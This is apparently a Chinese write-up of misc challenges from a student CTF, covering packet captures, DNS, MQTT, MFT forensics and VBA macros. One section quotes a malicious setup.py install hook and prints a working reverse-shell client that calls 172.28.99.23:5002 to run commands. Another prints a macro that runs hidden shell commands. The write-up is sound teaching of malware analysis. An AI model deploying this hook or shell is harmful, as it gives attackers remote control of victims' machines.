AuroraCTF2024 Misc 部分Writeup

本人给战队新生赛出的Misc题的Writeup，大佬轻点喷QAQ

---

今年出的题基本上都是一些简单的送分题，不过有几道题可能还是有点过于逆天了，所以这些题目被弃用了

不过为了各位能拷打自己，同时为了警示自己（不要出套娃/猜谜/无干货的题），最后还是决定将弃用的史题目Writeup也一并在此放出，想要附件的可以单独找我

正常启用

怨撃·伪

由于本人菜，不会搓游戏，所以就勉强用nc来代替好了…

预期难度：1.0⭐

Docker镜像：cauliweak9/ongekipseudo:latest

启用批次：Week 1

考点

没有考点，你能nc就能出flag，因为这是Misc的签签到

Writeup&解析

没啥好解析的，就纯玩游戏的题目

游戏规则：选到x扣10点血，选到-不扣血，选到o回5点血，活过100轮，3秒反应时间，没反应过来位置就不变

Full Bell就是当前弹幕如果存在一个或多个o则当前轮次必须选到o，否则就无法达成Full Bell

好的，玩吧，3秒包充足的www，不过由于弹幕生成是随机的，会出现全部都是x的无解排布（问就是我懒得写无理检测了，而且参数已经能做到90%情况能够FB通关了，随他去吧），只能说运气游戏（怨撃伪笑传之Catch Catch Bell）

题目中字体颜色是通过ANSI Code实现的，而这会带来一点小麻烦，马上会提到

其实如果编程水平足够，可以利用pwntools编写解题脚本速通，比如下面的代码：

from pwn import *


def find_path(danmaku: str) -> str:
    # print(danmaku)
    bell = danmaku.find("o")
    gap = danmaku.find("-")
    if bell != -1:
        return str(bell + 1)
    elif gap != -1:
        return str(gap + 1)
    else:
        return str(7)


# c = tube()
# c.recv_raw = lambda x: bytes("弹幕：x o - x x - x".encode("utf-8"))
c = remote("direct.szu.moe", 10050)
c.sendline("2")
for i in range(100):
    c.recvuntil("Danmaku order: ")
    res2 = c.recvn(83)
    danmaku = (""+ chr(res2[5])+ chr(res2[17])+ chr(res2[29])+ chr(res2[41])+ chr(res2[53])+ chr(res2[65])+ chr(res2[77]))

    choice = find_path(danmaku)
    c.recvuntil("Please enter your position: ")
    # print(choice)
    c.sendline(choice)
c.interactive()

解释一下danmaku为什么是那么诡异的东西，是因为你读入数据的时候ANSI Code也会一起被读入，所以实际读入的res2是这样的：

AC_1(danmaku_1)AC_2 AC_3(danmaku_2)AC_4 ...

每个ANSI Code长度固定为5，因此从5开始每12位读一个（写成这样单纯是因为我懒而已）

题目灵感

看名字都知道这题灵感就是SEGA街机音游三巨头的音击，名字取自里面的“怨撃”和“怨撃·真”，两者都是（极为逆天的）躲弹幕谱面

笑死了，KOP6th再现KOP4th名场面了属于是，年年考年年错

什么？不！我的音击手台绝对不会拿出来给你们玩的！绝对！

🍟炸鱼薯条问答

一眼丁真，鉴定为抄的猫咪问答（但是题目内容绝对原创，我发誓！！！）

预期难度：2.2⭐（AI秒了，现在只有0.5⭐）

Docker镜像：cauliweak9/fishnchips:latest

启用批次：Week 1

考点

纯粹的信息搜集和信息提取

Writeup&解析

Q1

这一问其实就是在问深大过去举办过什么信安比赛，所以搜索关键字深圳大学 信息安全比赛，你可以看到第一条记录就是你深学校官网的公告，比赛的名字叫“全国高校网安联赛”，点进去就能看到比赛的英文简称为X-NUCA

当然你也可以来L3楼下线下找答案就是了（笑）

Q2

这题应该是这6题中最复杂的一题，因为关键信息很多，问题是使用DNS进行通信的技术在MITRE ATT&CK Matrix里面对应的技术ID是什么，所以我们搜索关键字DNS通信 MITRE ATT&CK Matrix，可以看到如下的记录：

第一个记录是完整的表，第2个则是具体的技术，也是我们需要的答案，点进去就能发现技术ID是T1071.004

这个矩阵非常有用，能学到很多东西

P.S. 如果搜索的关键字再加上Matryoshka，第一条记录就是答案的那个记录

Q3

这一题问的是鸿蒙系统中编译好的.abc文件的源码是什么语言的，所以先搜一下鸿蒙 .abc，我们能看到看雪论坛里面一堆推荐abcdecompiler的反编译器，当然里面没有我们想要的答案，但是我们可以知道.abc又可以叫做“方舟字节码”，此时我们再搜索鸿蒙 方舟字节码，我们就能看到华为官方的解释是这个字节码是在编译ArkTS/TS/JS三种语言的时候生成的，不过鸿蒙Next的官方开发语言是ArkTS，所以答案是ArkTS，后两者主要还是提供支持而已，主要的编译还是在编译ArkTS

Q4

这题看起来很恐怖，但实际上就是在问House of Orange在Glibc的哪个版本失效，因此搜索关键字House of Orange 失效，第一个记录应该是吾爱破解论坛的一个帖子，里面记录了House of Orange的适用版本，下面则更详细一点：

所以答案是2.26

Q5

感谢炸鱼王Triode（是的这一问是他出的），这一题还是非常友善的，问题精简一下就是Python的random库使用的随机数生成算法是什么，所以我们可以去查看random库的官方文档：random — 生成伪随机数 — Python 3.13.1 文档，我们在里面看到这样一段话：

第2行提到了Mersenne Twister（梅森旋转算法），所以可以去搜一下这个算法，稍微翻一下应该就能找到答案MT19937，需要注意直接提交MT是不对的，答案后面的19937指代的是周期，而这是必不可少的

其实这题你问AI还要快（

Q6

没啥好说的，直接复制题干就能得到答案：

这个RFC规范实际上是一个愚人节RFC规范（是的，它是4月1日提出的），愚人节RFC规范都很有意思，感兴趣的可以自行搜索

题目灵感

猫咪问答啊，开头都说了（

如果仔细看的话会发现题目内容大致是以General-Web-Reverse-Pwn-Crypto-Misc的顺序出的（当然问的问题可能比较浅，如果你想看深的可以看看弃用区的加强版问答题），因为Misc手最后就是要跑到其它方向去的（

The Great Banquet

预期难度：2.3⭐

启用批次：Week 1

考点

Wireshark的简单使用

Writeup&解析

前面会看到TCP Payload有一长串的句子，这部分其实就是个引子，让各位着重关注TCP Payload，然后从某个包开始TCP Payload就只有1个字符了，但是字符都不一样，把它们连起来就能得到下面的句子：

The_password_is_the_title_of_the_challenge

也就是说压缩包密码是题目名，所以用The Great Banquet作为密码解压压缩包就能拿到flag了

这道题目其实考点和几个月前的corCTF2024的Forensics题目the-conspiracy一致，或者说就是一个简单的复刻，难度也不算太高，就当让大伙了解一下Wireshark怎么打开怎么看就行了

题目灵感

题目原型上面说了，至于内容嘛…前面作为引子的TCP Payload就是乐曲“The Great Banquet”的歌词，至于曲子嘛…出自SEGA街机音游三巨头中的maimai（唉，你们舞萌痴真的是）

Strange Love系列

预期难度：4.3⭐（Op.1，明显虚高，肯定不到3.3⭐），2.5⭐（Op.2）

启用批次：Week 1

考点

Wireshark的简单使用（Op.2），对脑电波之二维码（Op.1）

Writeup&解析

我们先从解题的角度去看：这题一共50个流量包，其中25个请求，25个响应，而在爹地的博客hasegawaazusa.github.io前面还有一长串0和1，好巧不巧长度也是25，那么25*25，又是0和1…这不就是QR Code嘛！提取出来一扫描就是Op.1的flag

提取域名的方法可以手搓，也可以用tshark，用下面的指令提取后删掉三级域名就行：

tshark -r capture.pcapng -Y 'dns.count.answers == 0' -e 'dns.qry.name' -Tfields > dnsname.txt

根据Op.2的题目描述，返回的IP地址有蹊跷（因为理论上前面的0和1对DNS解析并没有影响），但是直接看数字也都看不太懂，所以就看右下的Hex dump，然后就会发现返回的IP好像能凑出一句话：

Do you really want the easter egg flag? Here you go: Aurora{Sakuzyo_BEAM=============_from_CHUNITHM}

嗯，这就是Op.2的flag，因为没活了所以拿等于号当削除射线了

那么接下来就是从出题的角度来看这道题：这个流量包都是DNS流量，而DNS一般是用于解析域名的IP的，因为电脑连接网站是根据IP地址进行连接的，它们看不懂你写的那串英文URL，所以就出现了DNS来将域名解析为IP地址

DNS是可以对任意域名进行解析的，只是返回结果是否存在的问题，所以我可以向DNS服务器发送任意的域名去解析，Op.1这题也正是利用了这点将二维码藏进域名中

如果感兴趣的话，可以了解一下DNS隧道的流量，你会发现它也是利用这点将恶意代码加在域名前面的

接下来来到Op.2，这一步就是利用DNS欺骗了，正如其名，DNS欺骗就是指恶意的DNS服务器会将返回错误的IP地址给请求的客户端，一般返回的IP是攻击者的某个恶意网站，当然在这题就是利用返回的IP的可伪造性将flag藏在了IP里面

至于DNS欺骗的实现可以参考这篇文章：thePacketGeek，不过他写的还是太多漏洞了，这里让大伙看看我在这篇文章的代码的基础上修了多少东西：

只能说还是得多看官方文档啊…

题目灵感

Op.2已经写了，灵感出自SEGA街机音游三巨头CHUNITHM，这下齐活了，你们音游痴这辈子算是有了

---

下面都是本人在Week 2上的题目

Mission Quasar: Triangular Terror

预期难度：2.1⭐

Docker镜像：cauliweak9/mqtt:latest

启用批次：Week 2

考点

MQTT协议基础（连接、订阅和发送/接收消息）

Writeup&解析

最后想了想，还是用问答形式好一些

Q1

首先需要了解一下MQTT通信的架构：多个客户端连接到某个服务器上，客户端可以向服务器订阅主题、发送消息等，服务器负责转发消息

这里我们可以发现有3个端口依次和端口11037建立连接，也就是说11037端口是服务器的端口，因此第1小问的答案是11037

Q2

这一问需要对所有有关11037端口的流量进行解码：

在上面的工具栏的“分析-解码为”可以打开这个界面，点击左下加号，调整参数为上图即可

此时你会发现所有解码为TCP的MQTT流量都解码为了MQTT流量，也便于我们分析

MQTT协议中，每次创建连接的时候客户端会说明使用的MQTT版本号，因此我们找到Info为Connect Command的流量，展开分组详情就能看到MQTT的版本号了，答案是3.1.1

Q3

当然，连接的时候也会告诉服务器本人的用户ID是什么，比如上图的例子中用户ID是Triode，因此我们可以将端口31441和用户Triode进行绑定，同理我们可以知道用户1k0ct和Err0r233分别使用的端口号是31442和31443，之后的题目也会用到这点来分辨用户

接着往下看，我们能发现Triode（端口31441）发送了一个Subscribe Request，也就是订阅请求，这个流量就是向服务器请求订阅主题的，订阅的主题应该很明显能看到是Aurora/6/lobby

Q4

MQTT中主题的订阅、信息的发布与接收都是以明文方式传输的，所以我们可以直接搜索Is anyone here，可以看到Err0r233（端口31443）向主题Aurora/lobby/6发布了消息，因此本题答案为Err0r233_Aurora/lobby/6

由此我们可以知道主题订阅和信息传输是这样的：用户A向主题X发布信息，服务器B在接收到A的信息之后向所有订阅了X的用户转发A的信息。需要注意的是A向X发布信息的时候并不需要订阅X

Q5

阅读理解，一点点读三个人在Aurora/6/lobby的对话就行了，这一部分的对话从No.96到No.168，具体的对话片段如下：

Triode: So, how should we encrypt the flag?

1k0ct: You are the one doing Crypto, you decide which algorithm to encrypt

Err0r233: Maybe ECC?

Triode: Nah, better use AES

1k0ct: So which mode? ECB?

Err0r233: I'd rather use CBC

因此是Triode确认使用AES算法，而Err0r233确认使用CBC模式，答案为AES-CBC

Q6

同样是阅读理解，这一部分就是Q5后面的MQTT记录内容了，这里干脆附上完整的对话：

Triode: (subscribe Aurora/6/lobby)

1k0ct: (subscribe Aurora/+/lobby)

Err0r233: (subscribe Aurora/#)

Triode: Hello?

1k0ct: Hello hello?

Err0r233: Is anyone here? (Aurora/lobby/6)

Err0r233: Oops, wrong topic lol

Triode: So, how should we encrypt the flag?

1k0ct: You are the one doing Crypto, you decide which algorithm to encrypt

Err0r233: Maybe ECC?

Triode: Nah, better use AES

1k0ct: So which mode? ECB?

Err0r233: I'd rather use CBC

Err0r233: So you two decide the key and iv? I encrypt the flag

1k0ct: Key... WebReverseCrypto

Triode: IV will be CryptoIsToooEASY

Err0r233: OK... The encrypted flag is WBZcKv/cKfM/VYrOa0JZCgVHVfkEbMvOnTGh/Uo3Lxc=

Err0r233: AFK, see ya (Offline)

1k0ct: Gonna go to sleep (Offline)

Triode: Flag is Aurora{fake_flag} (Offline)

根据上面的对话我们可以得知在确认加密算法之后1k0ct和Triode分别确认了AES的Key和iv，而Err0r233给出了加密后的flag，那么AES解密一下就行了，答案是Aurora{U_R_4_MQTT_Br0ker!}

看到上面的对话，我们发现1k0ct和Err0r233都没有指定订阅Aurora/6/lobby这个主题，但是都能接收到主题的信息，这是因为两个人都使用了通配符，其中1k0ct使用的+表示这一个部分可以是任意的名字，比如发布到Aurora/test/lobby这个主题的信息1k0ct也可以接收到；而Err0r233使用的#则是放在主题末尾的全匹配符，也就是Aurora/后面接任何东西Err0r233都能接收到

题目灵感

当时备战pcb的时候在看工控流量分析，然后发现MQTT作为明文传输的工控协议应该可以给小登放点简单的题目上去（起码比Modbus简单，因为我后面自己搓了一个Modbus的题，里面各种改Register和Coil，最后测题的时候感觉小登做了的话估计直接似了，就没上新生赛），所以就这么干了

当然还有一个很简单的原因就是我不会硬件分析，因为我菜QAQ

CTF一把梭系列

预期难度：1.2⭐（Act I），3.2⭐（Act II，原定级2.9⭐）

启用批次：Week 2

考点

简单的Python Package分析（setup.py）（Act I），Python代码审计+简易加密流量分析（Act II）

Writeup&解析

Act I

根据题目描述，我们知道受害者通过pip下载了一个Python包，而对于pip安装的Python包，它的源码都会在PyPI官网上发布，因此我们需要登录PyPI官网搜索题目描述中提到的库名并下载它的源码：ctf-aio-tool · PyPI（这个库已经被官方彻底删掉了，搜不到了）

我们发现源码并不包含Wheel文件，因此它执行的自然是setup.py，而看过视频的同学都知道setup.py里面是有一个叫cmdclass的Mapping，我们可以通过创建一个新的类然后往类里面写入恶意操作，然后通过cmdclass在安装时执行恶意的代码

因此我们打开setup.py，看到里面的CustomInstall类：

class CustomInstall(install):
    def run(self):
        install.run(self)

        code = [40,65,...] # 过长，省略
        code = ''.join([chr(int(x) - 30) for x in code])

        with open('/tmp/11293.py', 'w') as f:
            f.write(code)
            f.close()

        reverse_shell = 'python3 /tmp/11293.py'
        encoded = base64.b64encode(reverse_shell.encode(encoding='utf-8'))
        os.system('echo %s|base64 -d |bash' % encoded.decode())

分析一下这段代码，我们能发现code是将每一位都减去30然后转成字符并拼接，然后将代码写入了/tmp/11293.py里面，然后通过bash执行python3 /tmp/11293.py这段命令，因此我们知道code里面就是混淆后的恶意代码，而且解密的方法也已经写在上面了，直接取第5&6行执行然后输出code就能得到如下的恶意代码：

#\!/usr/bin/env python3

# Set the host and the port.
HOST = "172.28.99.23"
PORT = 5002


def connect(host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    return s


def decryption(raw_data: bytes):
    data_len = len(raw_data)
    data = bytearray()
    if data_len < 16:
        key = raw_data[: data_len // 2]
        content = raw_data[data_len // 2 :]
    else:
        key = raw_data[:8]
        content = raw_data[8:]
    for i in range(len(content)):
        data.append(content[i] ^ key[i % 8])
    return bytes(data)


def encryption(data):
    data_len = len(data)
    enc_raw_data = b""
    for i in range(data_len):
        enc_raw_data += ((data[i] + i) % 256).to_bytes()
    enc_data = base64.b64encode(enc_raw_data)
    return enc_data


def wait_for_command(s):
    raw_data = s.recv(1024)
    data = decryption(raw_data)
    if data == b"quit\n":
        s.close()
        sys.exit(0)
    # the socket died
    elif len(data) == 0:
        return True
    else:
        # do shell command
        proc = subprocess.Popen(
            data,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            stdin=subprocess.PIPE,
        )
        stdout_value = proc.stdout.read() + proc.stderr.read()
        s.send(encryption(stdout_value))
        return False


def main():
    while True:
        socket_died = False
        try:
            s = connect(HOST, PORT)
            while not socket_died:
                socket_died = wait_for_command(s)
            s.close()
        except socket.error:
            pass
        time.sleep(5)


if __name__ == "__main__":
    import sys, os, subprocess, socket, time, base64

    sys.exit(main())
 

IP和端口都已经给出来了，那么flag也属于是唾手可得了

Act II

这一部分需要各位进行流量分析以及完全理解恶意代码的内容，也就是通过恶意代码的encryption和decryption函数反推出流量包中传输的数据

首先，根据代码我们知道整体的通信流程是这样的：攻击者先发送bash命令，然后恶意代码（反弹shell）执行完代码后将结果发送给攻击者，一直到攻击者中断连接，但是同时我们发现攻击者和shell发送的数据都经过混淆，因此我们需要去解析混淆函数对流量进行解密，好消息是攻击者发送的流量的解密已经在恶意代码里面被实现了，因此我们只需要调用decryption就能对攻击者发送的命令进行解密，也就是说最后需要解析的只有encryption函数

对于encryption，也就是shell发送的数据，是一个拓展凯撒加密：对于第n位的字符，其ASCII值+n后对256取模，将最终得到的字节进行Base64加密并返回，所以我们只需要先解密Base64再对每一位的ASCII值减去索引值就行了，实际上就是把一个加号换成减号的事：

def decrypt_response(data: bytes) -> bytes:
    """解密客户端返回的数据"""
    data = base64.b64decode(data)
    dec_raw = bytearray()
    # 每个字节加索引值取模
    for idx, byte in enumerate(data):
        dec_byte = (byte - idx) % 256
        dec_raw.append(dec_byte)
    # Base64编码
    return bytes(dec_raw)

所以我们现在可以对流量进行解密了，根据流量内容我们知道No.17以及之前的流量是下载PyPI的流量，而从No.18之后就是TCP的三次握手和正常通信，因此我们可以使用ip.addr == 172.28.99.23过滤出所有的攻击流量

理论上已经可以手搓了，但是一条一条复制粘贴好麻烦，所以我们决定使用脚本：首先使用tshark帮我们提取出所有的攻击流量（tshark会在你安装Wireshark的时候同步安装）：

tshark -r "CTF_AIO.pcapng" -Tfields -Y "ip.addr == 172.28.99.23" -e "data.data" > data.txt

其中-Y后面的是过滤器，-e后面是需要提取的数据，这样所有的数据就写入了data.txt里面了：

很明显这些有流量的是我们需要进行解密的Hex，因此我们直接使用上面的解密函数编写出如下的脚本：

import base64


def decrypt_response(data: bytes) -> bytes:
    """解密客户端返回的数据"""
    data = base64.b64decode(data)
    dec_raw = bytearray()
    # 每个字节加索引值取模
    for idx, byte in enumerate(data):
        dec_byte = (byte - idx) % 256
        dec_raw.append(dec_byte)
    # Base64编码
    return bytes(dec_raw)


def decryption(raw_data: bytes):
    """解密服务端返回的数据"""
    data_len = len(raw_data)
    data = bytearray()
    if data_len < 16:
        key = raw_data[: data_len // 2]
        content = raw_data[data_len // 2 :]
    else:
        key = raw_data[:8]
        content = raw_data[8:]
    for i in range(len(content)):
        data.append(content[i] ^ key[i % 8])
    return bytes(data)


def main():
    counter = 0
    decrypted = []
    with open("data.txt", "r") as f:
        data = f.readlines()
    for d in data:
        if d == "\n":
            # 没有data.data的流量我们直接不需要，跳过
            continue
        else:
            d = bytes.fromhex(d)
            if counter % 2 == 0:
                # 解密攻击者流量
                decrypted.append(decryption(d))
            else:
                # 解密shell流量
                decrypted.append(decrypt_response(d))
            counter += 1
            decrypted.append(b"\n")
    with open("decrypted.txt", "wb") as f2:
        f2.writelines(decrypted)


if __name__ == "__main__":
    main()

运行之后我们就能得到所有的数据了，可以看到攻击者在/home/cauliweak9/Desktop/Confidential里面找到了flag，并且使用zip命令将其打包成了一个压缩包，密码是H@ck3d_by_Marin，同时最后也通过cat获取到了压缩包的数据，所以这就很简单了：提取出压缩包然后解密即可得到最终的flag

实际上攻击者可以通过写定时任务（比如cron）来执行恶意代码，这样隐蔽性更好，如果像本题一样的话，就会像题目描述那样卡在安装那里（因为cmdclass没有执行完）

题目灵感

看了某个视频临时出的，感觉还是挺有意义的，毕竟pip install都有可能被反弹shell；除此之外就是一些简单的代码混淆和脚本编辑了，不过说句实话，为什么不直接pty.spawn('/bin/bash')啊（

The Fellowship of the Flag

预期难度：3.6⭐（原定级2.7⭐）

启用批次：Week 2

考点

MFT中驻留文件的性质

Writeup&解析

此处省略介绍MFT的Intro部分

MFT表的记录大小为固定的1024个字节，而这引出了我们本题的考点：对于一个小于1024字节的文件，MFT表会直接保存文件的内容在表中，而这个文件我们一般称之为MFT驻留文件（MFT Resident Files）。换言之，如果我们的flag文件足够小，那么flag文件的内容就会直接保存在MFT表中

那么我们先讲一下比较复杂一点的做法：

解法1：计算偏移

首先你需要搜到一个工具，叫Mft2csv：jschicht/Mft2Csv: Extract $MFT record info and log it to a csv file.，这个工具就是将一个MFT文件转换为CSV文件，后者可以用Excel打开，界面大致长这样：

注意左侧的Separator改成,，然后右侧选择MFT和导出路径就行了，生成的csv第一行的分隔符还是|，所以还得改成逗号

好的，导出来后就能在Excel里面看MFT的记录了

我们注意第J列，这里保存的是文件名，你会发现有个叫f1ag.zip的文件，那么此时你可以直接用010打开MFT然后里面搜f1ag，能找到，不过这里严谨一点，给各位讲一下怎么算驻留文件的位置

第N列保存的是文件大小，小于1024个字节的文件都会保存在MFT里面，但是有的时候记录和数据是分开来的，因此我们需要这样计算驻留文件的偏移：

看第E列的Record Number，这列的数据是在说明这个文件在第几个记录中，本题的记录数为40，然后由于一个记录大小为1024字节，因此偏移为40*1024=40960=0xA000，所以我们010里面Goto Byte就行了（当然你也可以直接看第A列的值然后Goto Byte）

将下面的压缩包提取出来，你会发现还缺少一个密码，而可以从表格里面看到还有一个p@sswo12d.png的文件，用同样的方法将它拉出来，发现是个二维码，扫描得到密码之后就能解压出flag了

解法2：工具一把梭

这里推荐Eric Zimmerman大佬的Eric Zimmerman’s tools，里面有一个MFTExplorer，可以直接图形化查看MFT的内容

或者也可以像Mft2csv一样，使用工具列表里面的MFTECmd和TimelineExplorer打配合进行查看（后者我觉得相比Excel观感更舒服一点）

那么用MFTExplorer的话提取数据就很简单了：直接在右边把Resident Data复制出来，去掉横杠再From Hex就秒了

当然如果你是直接搜文件头然后猜出来的我也没意见

题目灵感

一开始是在做HTB的时候发现这个东西在分析NTFS文件系统的时候非常有用，然后在好几次比赛中也遇到了相关的东西，所以会想着让新生了解一下MFT是怎么样的，于是就有了这一题

原神，启动！

预期难度：2.0⭐

启用批次：Week 2

考点

（非常简单的）VBA宏分析

Writeup&解析

请勿将从本题学习到的知识用于恶意用途！！！！！！

如果去搜一下VBA应该很快能知道这个东西和宏有关，那么就能很快知道这题的考点是宏，当然就算不知道是宏，我在Word里面也有一定的引导，所以我们就稍微绕点远路吧

首先打开Word，（我们先忽视掉Windows的安全警告），习惯打开换行提示符的同学们应该能很快发现有字，但是看不见，那么肯定是字体颜色调成了白色，改一下颜色就能看到…完全无用的东西…（

那么稍微了解过Word的同学应该会知道Word有个隐藏文字的功能，所以我们可以尝试从文件-选项-显示这里打开隐藏文字的显示，然后可以看到…

这里给出3种查看宏代码的方法：

查看方法1：启用宏

请注意：启用宏是极度危险的，因为宏很有可能是恶意的，如果你启用了宏，那么你的电脑很有可能会受到严重的损害

我们先从不了解宏的同学们最可能进行的操作开始讲，对于Microsoft Word来说，没有启用宏的话是无法在Word内查看宏代码的，但是如果你启用了宏，你就会被我弹一个计算器（笑），不过我们先做题，对于安全警告我们最后再说

启用宏后，我们忽略弹出来的消息框，从开发工具-Visual Basic点进去，就能看到宏的界面了

在左上角的工程里面，我们找到当前文档的工程（即Project (VBA)），打开Microsoft Word对象，双击里面的ThisDocument就能看到文档的宏了

查看方法2：云沙箱分析

感谢炸鱼王Triode提出这种做法

如果你比较警觉，而且懂的稍微多一点，就会知道分析这种带宏的文件最好扔进一个打过快照的虚拟机里面执行，但是如果手头没有专门用于分析的Windows虚拟机，我们可以扔进云沙箱里面让它代劳，一般来说云沙箱在分析恶意程序的时候非常有用

这里给出使用微步云沙箱的结果：样本报告-微步在线云沙箱，里面有给宏代码的内容

查看方法3：使用特定工具

实际上有专门用于提取Microsoft Office文档的宏的工具，叫olevba，它被集成在oletools里面，这是它的链接：decalage2/oletools: oletools - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging.

在用python下载完工具组后，我们直接在文档所在目录输入olevba <文档名>就能看到文档的VBA宏信息了：

好的，现在我们已经知道怎么查看宏代码了，让我们实际分析一下宏的具体内容吧：

basic

Private Sub Document_Close()
    MsgBox "Surprise！你的电脑在自动下载原神！"
    CreateObject("Shell.Application").ShellExecute "microsoft-edge:https://ys-api.mihoyo.com/event/download_porter/link/ys_cn/official/pc_default"
End Sub

Private Sub Document_Open()
    MsgBox "要开始了哦~"
    Shell "calc"
    Response = MsgBox("给你一个小小的教训：不要随便启用并运行宏，宏可能是恶意的，之后还乱运行宏吗？", _
    vbYesNo, _
    "弹弹need计算器")
    If Response = vbNo Then
        MsgBox "那么之后你要注意一点哦~我这就给你flag："
        ' Key$ = "qsdz&Marin"
        ' RealFlag$ = "Aurora{我不告诉你，你自己逆一下程序看吧~}"
        ' XorRealFlag$ = XorStrings(RealFlag, Key)
        ' EncRealFlag = EncodeBase64(XorRealFlag)
        ' EncRealFlag = "MAYWFVQsGiQrLy4QJBR5L1ItJA8dGgdLSTgSLU8xPBIWE0guCEIcHQw="
        FakeFlag$ = "Aurora{fake_flag}"
        EncFakeFlag = EncodeBase64(FakeFlag)
        MsgBox EncFakeFlag
    Else
        MsgBox "不长记性？那就给你桌面写个Hacked.txt"
        UserName = VBA.Interaction.Environ("Username")
        DesktopPath = "C:\Users\" & UserName & "\Desktop\Hacked.txt"
        CmdLine = "cmd /c echo Hacked by qsdz ^& Marin > " & DesktopPath
        Shell CmdLine, vbHide
    End If
End Sub

Function EncodeBase64(Text$)
    Dim b
    With CreateObject("ADODB.Stream")
        .Open: .Type = 2: .Charset = "utf-8"
        .WriteText Text: .Position = 0: .Type = 1: b = .Read
        With CreateObject("Microsoft.XMLDOM").createElement("b64")
            .DataType = "bin.base64": .nodeTypedValue = b
            EncodeBase64 = Replace(Mid(.Text, 5), vbLf, "")
        End With
        .Close
    End With
End Function

Function XorStrings(Text As String, Key As String) As String
  Dim bText() As Byte
  Dim bKey() As Byte
  Dim TextUB As Long
  Dim KeyUB As Long
  Dim TextPos As Long
  Dim KeyPos As Long
  
  bText = StrConv(Text, vbFromUnicode)
  bKey = StrConv(Key, vbFromUnicode)
  TextUB = UBound(bText)
  KeyUB = UBound(bKey)
  For TextPos = 0 To TextUB
    bText(TextPos) = bText(TextPos) Xor bKey(KeyPos)
    If KeyPos < KeyUB Then
      KeyPos = KeyPos + 1
    Else
      KeyPos = 0
    End If
  Next TextPos
  XorStrings = StrConv(bText, vbUnicode)
End Function

Document_Open是在文档打开的时候就会调用的函数，这就是为什么一旦启用宏就会弹计算器，因为有个Shell "calc"，在Shell中执行指令calc，即打开计算器；接下来就是弹出选择框，如果选择是就会在桌面写入一个Hacked.txt，而选择否就会给你Base64加密后的假flag

至于真的flag经过的操作都在注释里面，很明显是真flag先和Key进行异或，然后再经过Base64编码，最后得到的结果也已经给你了，因此我们稍微逆一下就能得到flag了：

当然，如果你是通过方法1做完题目还不愿意禁用或者删掉VBA代码的话，估计你会有幸获得一次难忘的记忆：Document_Close是文档关闭时自动调用的函数，而函数里面会尝试打开Microsoft Edge访问原神的下载API，所以结果就是…你的电脑在自动下载原神

在Triode测题之后，我又把这个文件扔进了VirusTotal云沙箱中：VirusTotal - File - 4faab9ec37647c48cc7d0f978ce80d0e548b460ee67d2092aaaa1346f9c8192b，最后发现66个杀软里面居然有21 30个识别题目附件为恶意软件（不过从宏的行为上来说确实很危险），而国内常用的杀软里面只有火绒识别了出来（估计是我上传文件之后被扔进恶意样本数据库里面了，所以多了9个杀软查出来了，现在金山也能查出来了）

火绒在你解压题目附件的一瞬间就会删掉附件中的宏，别问我为什么知道，问就是这是Triode测题的时候出现的情况

最后，Base64的函数出自Excel VBA: Base64 Encoding, Easy，而字符串异或的函数出自String XOR Encryption-VBForums，感谢论坛的大佬们

好奇有多少人真启用宏然后电脑下载原神了（笑）

题目灵感

本来是想用RTF格式去搓一个OLE对象的，但是一直没搞懂所以就此作罢，退而求其次整了一个稍微简单的VBA宏分析，之后有时间再去看看POC2023那个演讲学一下

Heart of Android

预期难度：4.4⭐

启用批次：Week 2

考点

安卓流量分析（Charles）

Writeup&解析

题目告诉你使用的是夸克，而夸克的搜索本质使用的是自己的搜索引擎m.quark.com，然后调用里面的API进行搜索或者链接的访问与跳转，一般来说查询参数都是使用的GET方法，而且参数名一般都是q以指代query，所以我们看一下对应的内容：

由于本人确实没使用过夸克的搜索API，因此不甚了解，但是我们也能看到第2个是夸克的诊断信息（Quark Surgery），后面的q参数就是访问的网络链接，是我们伟大的CyberChef

然后讲一下CyberChef的原理：CyberChef是一个纯前端应用，因此它可以直接拉到本地运行，同时它的参数和Recipe（加解密操作）都是以锚点的形式传输进去的，换句话说就是请求的参数全部都在URL里面，因此我们可以直接访问对应的URL，即https%3A%2F%2Fgchq.github.io%2FCyberChef%2F%23recipe%3DXOR%28%257B%27option%27%3A%27UTF8%27%2C%27string%27%3A%27Crystallized%27%257D%2C%27Standard%27%2Cfalse%2Fdisabled%29AES_Encrypt%28%257B%27option%27%3A%27UTF8%27%2C%27string%27%3A%27H3art_0f_4ndro1d%27%257D%2C%257B%27option%27%3A%27UTF8%27%2C%27string%27%3A%27Th3at0reCrea7ore%27%257D%2C%27CBC%27%2C%27Raw%27%2C%27Hex%27%2C%257B%27option%27%3A%27Hex%27%2C%27string%27%3A%27%27%257D%2Fdisabled%29%26input%3DZTM1NmQ1Zjg3YTNmNTE5MWNiODhiNzlkOTliZjhiMTdlNDYwZmY1MGUyOWVhMzhhNzA0NWE5MDA5MDY3YjIyYzAyNjUwZmY5MTg3YWZhZGZjMzQxYzUzZDFmMTA4MzEw，这需要注意一下先URL解码再访问，最后访问的连接应该如图所示：

明显能看到对flag的加密操作虽然被Disabled了，但仍然保存在Recipe中，因此逆一下就能拿到flag了

可能有同学得到的网页并没有左边的Recipe，这是因为我在登录这个网页的时候，CyberChef识别了Recipe全是Disabled，因此直接略去了这些数据，并跳转到了只有密文而没有处理过程的页面

顺带一提，这道题理论上只需要在010搜CyberChef就能做出来www

题目灵感

忘记是羊城杯还是哪个比赛往抖音的六神参数里面藏flag来着，那时刚好用的是Charles进行分析，所以想了一下看看能不能让新生了解一下安卓的流量分析是怎么样的，不过没想到用夸克的时候会这种有点拐弯抹角的操作，多少有点败笔了www

Stolen USDT

预期难度：10.2⭐（5.7⭐，如果你会Blockchain的话）

启用批次：Week 2

Writeup&解析

本题暂不准备对外公开附件以及Writeup

题目灵感

本来新生赛是有Blockchain方向的，寒假以红包题的形式试了下水，发现没有新生做，所以就把所有的Blockchain题目给下了（反正我没搓Docker，也算是省事了www），但是心里憋屈，所以干脆整了这题让自己爽一把（笑）

这么说吧，咱们队里估计也就只有我能会吃而且吃得下自己拉的这坨史了（

被弃用

Cater大pie送

弃用理由：太猜了，而且没干货，游戏的话前面的伪怨撃也出了，这题没必要

预期难度：1.6⭐

Docker镜像：cauliweak9/nc4flag:latest

考点

ANSI Code

Writeup&解析

